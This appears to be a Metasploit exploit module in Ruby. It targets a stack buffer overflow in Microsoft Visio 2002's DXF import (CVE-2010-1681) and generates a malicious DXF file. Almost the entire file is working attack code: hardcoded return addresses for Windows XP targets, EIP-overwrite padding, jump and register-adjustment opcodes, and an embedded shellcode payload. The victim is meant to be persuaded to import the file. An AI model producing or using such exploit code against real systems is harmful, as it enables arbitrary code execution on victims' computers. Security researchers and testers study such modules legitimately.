125 lines
4.3 KiB
Ruby
125 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',
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'Description' => %q{
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This module exploits a stack based overflow vulnerability in the handling
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of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
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the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
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is used to import a specially crafted DXF file, while parsing the HEADER section
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of the DXF file.
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To trigger the vulnerability an attacker must convince someone to insert a
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specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # CORE Security, original discovery
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'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis
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'juan vazquez', # metasploit module
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],
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'References' =>
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[
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[ 'CVE','2010-1681' ],
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[ 'OSVDB', '64446' ],
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[ 'BID', '39836' ],
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[ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
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[ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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'DisableNops' => true, # no need
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX'
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}
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Microsoft Office Visio 2002
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# VISIO.EXE v10.0.525.4
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# VISIODWG.DLL v10.0.525.4
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# ECXAdjust:
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# 0x8 => ESP points to the prepended shellcode
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# 0x1A => Padding
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# 0x2 => len(push esp, pop ecx)
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# 0x3 => len(sub)
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# 0x6 => len(add)
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[
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'Visio 2002 English on Windows XP SP3 Spanish',
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{
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'Ret' => 0x6173345c, # push esp, ret from VISIODWG.DLL
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'Offset' => 0x50, # EIP
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'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment
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'ECXAdjust' => 0x2D
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}
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],
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[
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'Visio 2002 English on Windows XP SP3 English',
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{
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'Ret' => 0x60455F6B, # push esp, ret from VISLIB.DLL
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'Offset' => 0x50, # EIP
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'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment
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'ECXAdjust' => 0x2D,
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}
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],
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],
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'DisclosureDate' => 'May 04 2010'))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']),
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], self.class)
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end
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def exploit
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content = "0\n"
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content << "SECTION\n"
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content << "2\n"
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content << "HEADER\n"
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content << "9\n"
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content << "$ACADMAINTVER"
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content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)
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content << [target.ret].pack('V') # new ret
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content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)
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content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions
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content << rand_text_alpha(0x1A) # jumped by the short jump
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# Get in ECX a pointer to the shellcode start
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content << "\x54" # push esp
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content << "\x59" # pop ecx
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# ecx adjustment
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content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)
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# Stack adjustment
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content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
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content << payload.encoded
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content << "\n"
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content << "0\n"
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content << "ENDSEC\n"
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content << "0\n"
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content << "EOF\n"
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print_status("Creating #{datastore['FILENAME']} ...")
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file_create(content)
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end
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end
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